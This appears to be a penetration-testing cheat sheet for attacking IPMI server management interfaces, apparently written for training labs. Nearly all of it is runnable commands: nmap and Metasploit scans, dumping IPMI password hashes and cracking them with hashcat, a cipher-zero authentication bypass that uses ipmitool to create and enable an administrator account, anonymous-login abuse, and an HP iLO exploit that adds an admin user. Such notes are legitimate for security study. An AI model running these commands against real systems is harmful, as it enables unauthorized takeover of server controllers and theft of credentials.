Resources

Cheat sheet

Commands

  • Offensive
    • Scaning
      nmap -sU --script ipmi-version -p 623 10.129.202.5
      msf > auxiliary/scanner/ipmi/ipmi_version\
  • Exploit
    • CVE-2013-4786 Dump Hashes
      msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
      hashcat -m 7300 -O -a 0 -w 3 --session=ipmi -o ipmi.out ipmi.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule --username
    • CVE-2013-480 Cipher_Zero
      msf > use auxiliary/scanner/ipmi/ipmi_cipher_zero
       
      ipmitool -I lanplus -C 0 -H 10.129.3.207 -U admin -P DummyPassw0rd user list
      ipmitool -I lanplus -C 0 -H 10.129.3.207 -U admin -P DummyPassw0rd user set name 64 fady
      ipmitool -I lanplus -C 0 -H 10.129.3.207 -U admin -P DummyPassw0rd user set password 63 'Passw0rd!'
      ipmitool -I lanplus -C 0 -H 10.129.3.207 -U admin -P DummyPassw0rd user priv 63 4
      ipmitool -I lanplus -C 0 -H 10.129.3.207 -U admin -P DummyPassw0rd user enable 63
    • Anonymous Auth
      # Can be discovered with MSF `ipmi_dumphashes`
      ipmitool -I lanplus -H 10.129.3.207 -U '' -P '' user list
      ipmitool -I lanplus -H 10.129.3.207 -U '' -P '' user set password <ID> 'Passw0rd!'
    • CVE-2017-12542
      ./44005.py 10.129.3.207 -t -e -u fady -p "Password123#f"
      # OR
      msf > use auxiliary/admin/hp/hp_ilo_create_admin_account
    • IPMI cheat sheet
      ipmitool -I lanplus -C 0 -H 10.129.3.207 -U fady -P 'Passw0rd!' mc info

Tools

Notes